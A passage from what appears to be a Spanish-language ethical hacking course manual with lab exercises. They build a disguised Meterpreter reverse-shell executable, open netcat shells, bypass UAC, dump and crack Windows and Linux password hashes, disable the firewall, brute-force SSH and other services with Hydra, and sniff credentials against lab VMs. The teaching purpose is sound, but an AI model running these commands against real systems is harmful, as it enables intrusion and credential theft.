# msfpayload windows/meterpreter/reverse_tcp LHOST=[Dirección IP de Kali Linux] LPORT=8888 X > juego.exe Ahora se debe transferir el archivo “juego.exe” al sistema Windows 7 utilizando netcat. Proceda a ejecutar el siguiente comando en Windows 7. Esto ejecutará a netcat en modo de Atención o Escucha ante una conexión entrante. Se debe resaltar en el siguiente comando que netcat (nc) se encuentra en un directorio específico, si netcat se encuentra en otro directorio se debe ejecutar desde el directorio adecuado.

C:\Users\usuariow7\Downloads\nc11nt\nc -w 30 -v -l -p 4000 > juego.exe En Kali Linux proceda a ejecutar el siguiente comando para enviar el archivo al sistema Windows 7.

# nc -w 10 -v [Dirección IP de Windows 7] 4000 < juego.exe Luego es necesario ejecutar el archivo juego.exe en la máquina virtual de Windows7. Si el ejercicio se ha realizado correctamente se abrirá una sesión con Meterpreter. Se proceda a intentar realizar un volcado de las contraseñas del Sistema Windows 7.

meterpreter > hashdump meterpreter > Presionar la combinación de teclas (Control+Z) y presionar la tecla “y”. Los siguientes comandos permiten utilizar el Módulo Bypass Windows UAC.

msf > use post/windows/escalate/bypassuac msf > show options msf > set LHOST [Dirección IP de Kali Linux] msf > set session 1

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

23

msf > run Si hasta aquí se ha realizado el ejercicio correctamente, se mostrará la información de una sesión establecida con Meterpreter.

msf > sessions msf > sessions -i ID Donde ID es el número de sesión recientemente abierto.

meterpreter > getuid meterpreter > ps Ahora se debe migrar hacia el PID del proceso “svchost.exe”, con el siguiente comando.

meterpreter > migrate Procedemos nuevamente a realizar un volcado de la SAM del Sistema Windows 7.

meterpreter > hashdump Y para finalizar este ejercicio se realiza una captura de pantalla del Objetivo.

meterpreter > screenshot

3.3. Herramientas de control remoto en línea de comando Como ya se ha detalla en los ejercicios anterior netcat puede ser utilizado para realizar conexiones, escanear puertos, transferir archivos, y también puede ser utilizado para tener acceso shell a un sistema Windows o GNU/Linux. En una Máquina Remota Windows se ejecuta netcat en modo “Escucha”.

C:\>nc -l -d -e cmd.exe -p 9999 En una Máquina Cliente Linux se ejecuta netcat de la siguiente manera.

# nc 192.168.1.77 9999 Cuando la máquina Linux establezca una conexión al sistema Windows, este ejecutará el comando (cmd.exe), el cual entregará una shell en Windows al sistema Linux. Ahora se procederá a realizar el ejercicio inverso, es decir obtener una shell de un sistema GNU/Linux desde un sistema Windows. Proceda a ejecutar netcat desde un sistema GNU/Linux, por ejemplo desde Kali Linux o metasploitable.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

24

# nc -l -p 5555 -e /bin/sh Ahora desde un sistema Windows ejecute el siguiente comando, para obtener una shell desde el sistema GNU/Linux.

C:\>nc 192.168.1.77 5555 Con el programa psexec también se pueden ejecutar comandos en un sistema remoto. De la siguiente manera.

C:\>psexec \\Servidor -u -p C:\>psexec \\192.168.0.23 -u Administrador -p 12345 -s cmd.exe

3.4. Moviendo archivos con Exploits entre plataformas Al transferir o mover archivos entre diferentes sistemas operativos, algunas veces se requiere convertir los formatos de los archivos. Para realizar esto se pueden utilizar dos sencillas utilidades en GNU/Linux, unix2dos que convierte el formato de un archivo de texto de Linux a DOS, y dos2unix que convierte el formato de un archivo de DOS a Linux. También se puede utilizar el siguiente comando. Convertir el formato de un archivo Windows a Linux. Esto elimina “Retorno de Acarreo”.

# tr -d '\r' < archivowindows.txt > archivolinux.txt Para transferir archivos en un escenario de sistemas Windows y GNU/Linux, se cuentan con las siguientes opciones. Utilizando Netcat Ejecutar netcat en modo “Atención”, o como Servidor, lo cual permitirá recibir el “archivo.txt”.

# nc -v -l -w 30 -p 8888 > archivo.txt Establecer una conexión como Cliente hacia el Servidor, lo cual permitirá enviar el “archivo.txt”.

# nc -v -w 2 192.168.0.23 8888 < archivo.txt Cryptcat es un netcat con cifrado Twofish Ejecutar crypcat en modo “Atención” o como Servidor, lo cual permitirá recibir el “archivo.txt”.

# crypcat -v -l -p 8888 < archivo.txt Establecer una conexión cifrada como Cliente hacia el Servidor, enviando el “archivo.txt”.

# crypcat -v 192.168.0.23 8888 archivo.txt Secure Copy (SCP) Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

25

El siguiente comando permitirá copiar el archivo.txt a “directorio” autenticándose como “usuario”.

# scp archivo.txt [email protected]:directorio Otros mecanismos que se pueden utilizar para transferir archivo son; tftp (Trivial File Tranfer Protocol), ftp (File Transfer Protocol), utilizar los recursos compartidos, vía web, entre otras.

3.5. Kung Fu con la línea de comandos en Windows Los siguientes ejercicios pueden ser realizados desde una máquina virtual Windows, desde la máquina real windows o en ambas a la vez. Mostrar el contenido de uno o más archivos de texto. En este caso “archivo.txt”.

C:\> type archivo.txt Buscar una cadena de texto en uno o más archivos. En este ejercicio “archivo.txt”.

C:\> type archivo.txt | find /i “cadena” El comando set permite, visualizar, establecer o eliminar variables de entorno.

C:\> set username C:\> set path C:\> set systemroot Listar archivos y subdirectorios de un directorio.

C:\> dir /b /s [directorio] Administración de Cuentas y Grupos de usuarios. Lista usuarios locales

C:\> net user Lista grupos locales

C:\> net localgroup Listar miembros del grupo local admin

C:\> net localgroup administradores Añadir un usuario. C:\> net user [usuario] [contraseña] / add

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

26

Añadir un usuario al grupo Administradores. C:\> net localgroup administrators [usuario] /add Borrar usuarios y cuentas. Borra un usuario de un grupo.

C:\> net localgroup [grupo] [usuario] /del Borra un usuario.

C:\> net user [usuario] /del Configuraciones del Firewall

C:\> netsh /? Muestra la configuraciónd el Firewall

C:\> netsh firewall show config Deshabiltar el firewall por completo.

C:\> netsh firewall set opmode disable Encontrando otras maquinas Volcado de la caché del DNS

C:\> ipconfig /displaydns Volcado de la caché ARP

C:\> arp -a Estableciendo sesiones SMB Configurar una Sesión

C:\> net use \\192.168.1.77 [contraseña] /u:[usuario] Adjunta un Sistema de archivos con una letra en nuestra máquina. Ejemplo unidad z: o unidad f:

C:\> net use * \\192.168.1.77\[compartido] [contraseña] /u:[usuario] Monta el recurso C:\ sobre la máquina objetivo

C:\> net use * \\192.168.1.77\c$ [contraseña] /u:[usuario] Retirando sesiones SMB

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

27

Retirar una sesión para que sea factible usar otro usuario.

C:\> net use \\192.168.0.23 /del Retira todas las sesiones SMB del usuario actual.

C:\> net use * /del El Bucle FOR

C:\> for /L %i in ([inicio],[paso],[para]) do [comando] Ejecutando un barrido de Pings utilizando el bucle FOR.

C:\> for /L %i in (1,1,255) do @ping -n 1 192.168.0.%i | find “Respuesta” Iterando a través de búsquedas DNS reversas utilizando el bucle for y nsloolup

C:\> for /L %i in (1,1,255) do @echo 200.48.225.%i: & @nslookup 200.48.225.%i 2>nul | find "Nombre" El siguiente ejercicio solo muestra los nombres que han sido resueltos satisfactoriamente.

C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 192.168.1.%i

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

28

Ejercicios Parte 4 4.1. Adivinando contraseñas con THC Hydra Para el siguiente ejercicio se realizarán los ataques contra la máquina virtual con Metasploitable. Antes de iniciar el proceso de “Cracking” o de “Romper” las contraseñas, se utilizará el programa pw-inspector. Este programa permite encontrar y mostrar las palabras que coinciden con un criterio. De esta manera se puede manipular una lista de palabras de manera particular para diferentes escenarios de ataque. Encontrar solo las palabras que contienen al menos un número.

# cat /pentest/passwords/wordlists/darkc0de.lst | pw-inspector -n Encontrar las palabras que contienen al menos un caracter imprimible y que no sea alfabético ni númerico.

# cat /pentest/passwords/wordlists/darkc0de.lst | pw-inspector -p Para crear una lista de palabras con una longitud mínima de 6 caracteres, que contengan un número, al menos una letra mayúscula y al menos una letra minúscula se debe ejecutar el siguiente comando. Todas las palabras que coincidan con este criterio se copiarán al archivo “claves.txt”

# cat /pentest/passwords/wordlists/darkc0de.lst | pw-inspector -m 6 -n -u 1 -c 2 > /tmp/claves.txt Proceda a ejecutar THC-Hydra. Se utilizará THC-Hydra para intentar “Crackear” o “Romper” la contraseña del usuario “root” utilizando el servicio OpenSSH (Puerto 22) con todas las contraseñas (palabras) contenidas en el archivo “500-worst-passwords.txt”. El parámetro -t define el número de tareas de conexiones paralelas, la opción -V permite mostrar los intentos de usuario/contraseña, el parámetro -l define el usuario y el parámetro -P define una lista de palabras a utilizar como contraseñas, la opción ssh le indica a hydra realizar el ataque al servicio ssh ejecutándose en el puerto 22

# hydra -t 1 -V -l root -P /pentest/passwords/wordlist/500-worst-passwords.txt 192.168.0.23 ssh Ahora se Intentará “Crackear” o “Romper” las contraseñas de los cualquiera de los usuarios contenidos en el archivo de nombre “usuarios.txt”, utilizando el servicio PostgreSQL ejecutándose en el puerto 5432. Para este propósito también se utilizará las palabras contenidas en el archivo “500-worst-passwords.txt” como contraseñas.

# hydra -L usuarios.txt -P /pentest/passwords/wordlist/ 500-worst-passwords.txt 192.168.0.23 postgres En el siguiente ejercicio se utilizarán un parámetro muy simple pero muy efectivo que tiene THCHydra, el parámetro “-e”, el cual permite definir tres sencillas manipulaciones que se realizarán con el nombre de usuario para ser utilizado como contraseña, “n” prueba el nombre de usuario con una contraseña nula, “s” prueba el mismo nombre de usuario como contraseña y “r” el cual invierte los caracteres del nombre de usuario y lo prueba como su contraseña. Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

29

# hydra -V -L usuarios.txt -e snr 192.168.1.77 telnet En las siguientes páginas se pueden encontrar buenas listas de palabras. http://www.skullsecurity.org/wiki/index.php/Passwords http://packetstormsecurity.org/Crackers/wordlists

4.2. Volcando los hashs con pwdump Proceda a transferir a la máquina virtual con Windows 7 el archivo “Pwdump7.zip.”, esto se puede realizar con netcat. Cuando haya copiado el archivo a la máquina virtual proceda a Descomprimir su contenido en una carpeta de su elección, o directamente en la raíz del disco C:\. Acto seguido ejecuté una consola (cmd.exe) con privilegios de administrador (clic derecho -> Ejecutar como Administrador), y ejecute los siguientes comandos.

C:\> PwDump.exe > dumpwindows7.txt El volcado de las contraseñas del sistema se copiarán al archivo “dumpwindows7.txt”, para visualizar este archivo escriba el siguiente comando.

C:\> type dumpwindows7.txt Si el comando se ha ejecutado correctamente obtendrá un volcado de la Base de Datos SAM del Sistema Windows 7. Otra herramienta que se puede utilizar de manera local o remota dependiendo del escenario es “fgdump.exe”.

4.3. Utilizando John The Ripper para crackear LANMAN y Linux MD5 Proceda a transferir a la máquina virtual de Kali Linux los archivos que se ubican en passwd y shadow. Para ejecutar los siguientes comandos el directorio al cual se deben copiar los archivos “passwd” y “shadow” debe ser la carpeta “root”. Ejecutar John The Ripper. Realiza algunas pruebas

# john -test El programa “unshadow” que incluye John The Ripper, permite fusionar el contenido del archivo passwd y shadow en un solo archivo.

# unshadow /root/passwd /root/shadow > contrasenas

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

30

Para ejecutar un proceso de “Cracking” sencillo se utilizará el modo “single crack” utilizando reglas de la sección List.Rules:Single del archivo de configuración de John The Ripper.

# john --single contrasenas Para realizar un proceso de Cracking utilizando un lista de palabras contenida en el archivo “password.lst”, se debe ejecutar el siguiente comando.

# john --wordlist=password.lst contrasenas John The Ripper incluye un conjunto de Reglas, las cuales se aplican sobre una lista de palabras definida por el usuario. Estas reglas son leídas de List.Rules:Wordlist del archivo de configuración de John The Ripper “john.conf”.

# john --wordlist=password.lst --rules contrasenas Otro modo más crudo es utilizar el modo Incremental, dado que este modo intentará toda las combinaciones posibles de letras, números, símbolos, etc, desde la definición [Incremental:MODE] especificada en el archivo de configuración de John The Ripper.

# john --incremental:digits contrasenas Con el siguiente comando se visualizan las contraseñas “crackeadas” u obtenidas por el programa.

# john --show passwd Si por cualquier motivo, intencional o no, el proceso de John The Ripper es interrumpido, se puede continuar esta sesión posteriormente con la opción --restore.

# john --restore Para un archivo SAM de Windows el proceso es similar. En los siguientes ejemplos se utilizará el archivo sam, el cual debe ser copiado a la carpeta “root” de Kali Linux.

# john --single sam.txt # john --wordlist=/pentest/passwords/wordlists/rockyou.txt /root/sam.txt # john –wordlist=/pentest/passwords/wordlists/rockyou.txt --rules /root/sam.txt # john --incremental:alpha /root/sam.txt # john --show passwd

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

31

4.4. Utilizando CAIN para sniffing y cracking Sniffing con CAIN Proceda a instalar en su máquina Windows real el programa Cain. En caso se indique que es necesario desactivar el Firewall de Windows, proceda a desactivarlo. Ejecute Cain, y proceda a hacer clic en “Start/Stop Sniffer”, el segundo ícono del menú superior iniciando por la izquierda. Luego desde la maquina Windows Real, proceda ejecutar desde una consola en Windows (cmd.exe) el comando ftp. El siguiente ejercicio realizará una autenticación al servicio ftp de la máquina Virtual Metasploitable y se visualizará como Cain intercepta estas credenciales. Proceda a ejecutar los siguientes comandos.

C:\> ftp Presionar la tecla enter.

ftp> open [Dirección IP de Metasploitable] Luego se le solicitará ingresar el usuario y contraseña, utilice el usuario “user” y la contraseña “user”. Si la autenticación ha sido satisfactoria, se le mostrará el mensaje “Login successful”. De regreso a Cain, haga clic en la pestaña “Sniffer” ubicada en la superior, y luego haga clic en la pestaña “Passwords” ubicada en la parte inferior. Si el ejercicio ha sido realizado correctamente se visualizarán las credenciales que Cain ha interceptado. Cracking con Cain Cain también permite realizar el proceso de “Cracking” o de Romper contraseñas en un sistema Windows. Para hacer esto, proceda a iniciar Cain, haga clic en la pestaña “Cracker” ubicado en el menú superior, luego haga clic derecho “Add to list”, seleccione “Import Hashes from a text file” ahora proceda a seleccionar el archivo “hashs.txt” extraído de un Sistema Windows. Si todo ha sido realizado correctamente se visualizará la información de las cuentas de usuarios y hash de las contraseñas contenidas en el archivo importado. Ahora proceda a seleccionar todas las cuentas de usuarios y luego haga clic derecho sobre ellas, seleccione la opción “Brute force attack” y luego la opción “LM Hashes”. Acto seguido proceda a definir la longitud mínima a 1 carácter y la longitud máxima a 6 caracteres, y presione el botón “Start”. Al presionar el botón se iniciará el proceso de Cracking utilizando Fuerza Bruta, es decir probando todas las combinaciones de palabras con un máximo de 6 caracteres. Otra de las utilidades que tiene Cain es una calculadora de Hashs, para utilizarla, proceda a hacer clic en “Tools -> Hash Calculator”, hecho esto aparecerá una nueva ventana, en la cual se debe ingresar una cadena de texto, por ejemplo la palabra Hacking, en el la opción “Text to hash”, para calcular los Hash de esta palabra solo se debe hacer clic en el “Calculate”, ubicado en la parte inferior de esta ventana.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

32

4.5. Utilizando Ophcrack Proceda a instalar en su máquina Windows real el programa 0phcrack. Luego transfiera a la máquina Windows Real un archivo conteniendo hash de contraseñas Windows. Ahora descomprima el archivo “tables_xp_free_small.zip” en la carpeta “Hacking”. Luego proceda a ejecutar el programa Ophcrack. Es necesario configurar la Tabla descomprimida en el paso anterior, para que se utilizada por Ophcrak, haciendo clic en la opción “Tables” ubicado en el menú superior del programa. En la nueva ventana que se muestra proceda a hacer clic en “XP free small”, luego haga clic en el botón “Install” ubicado en la parte inferior, y seleccione ahora la ruta donde se descomprimió la Tabla contenida en el archivo “tables_xp_free_small.zip”. Para finalizar la configuración de la tabla haga clic botón “ok”. Para cargar el archivo con hash de contraseñas Windows, proceda a hacer clic en el botón “Load”, luego en la opción “PWDUMP File”, y luego seleccione archivo que contiene los hashs. Para este ejercicio el archivo “hashs.txt” u otro que se esté utilizando. Si el ejercicio se ha realizado correctamente visualizará la información del archivo dentro de Ophrack. Y al hacer clic en el botón “Crack” se iniciará el proceso de “Cracking”, y las contraseñas aparecerán conforme sean “rotas”.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

33

Ejercicios Parte 5 5.1. Escaneo de Vulnerabilidades Web Escaneando Vulnerabilidades Web con Nikto2 Para el siguiente ejercicio se procederá a ejecutar Nikto2 contra la dirección IP de Metasploitable. El parámetro -h define el host o la dirección IP del objetivo, -p define el puerto al cual se conectará nikto2 para realizar las pruebas, -output define el archivo en el cual se copiarán los resultados obtenidos del escaneo, y -Format define el formato del archivo con los resultados, que para este caso particular es sencillamente un archivo txt.

# nikto.pl -h 192.168.1.34 -p 80 -output reporte.txt -Format txt Para visualizar los resultados, unicamente se debe visualizar el archivo reporte.txt

# less reporte.txt Utilizando un Proxy de Interceptación, Webscarab. Ejecutar OWASP WebScarab Nota: Al iniciar WebScarab por defecto, se iniciará en modo “WebScarab Lite”. Para ejecutar la versión que contiene todas las funcionalidades, proceda a hacer clic en el menú superior en la opción “Tools -> Use full-featured interface”. Dentro de Kali Linux proceda a abrir Firefox e ingrese a “Edit -> Preferences -> Advanced -> Network -> Settings”. Ahora seleccione “Manual proxy configuration” y defina en “HTTP Proxy: “ localhost y en “Port:” el número 8008. Luego haga click en el botón “Ok” y luego en el botón “Close”. Ahora ingrese en la barra de dirección en Firefox, la dirección IP de la máquina virtual con Kali Linux y analice los resultados que obtiene en WebScarab al ingresar a este servidor web. En la parte superior se tienen varias pestañas, proceda a hacer clic en “Proxy” y activar la opción “Intercept requests” Ahora en firefox ingrese a cualquier págias web. Ahora WebScarab mostrará una ventana para cada petición que se realice hacia un servidor web, esto proporciona control total sobre los datos que se envían al objetivo. En la parte inferior de esta nueva ventana se muestran cuatro botones “Accept Changes” para aceptar los cambios realizados en la petición, “Cancel Changes”, para cancelar los cambios realizados, “Abort Request”, para abortar la petición realizada, y “Cancell all Intercepts” para cancelar todas las interceptaciones. Luego de realizar algún cambio en la petición se procederá a hacer clic en el botón “Accept Changes”.

Seguridad Informática – Módulo 1: Ethical Hacking :: Centro de Informática y Sistemas – UCV

34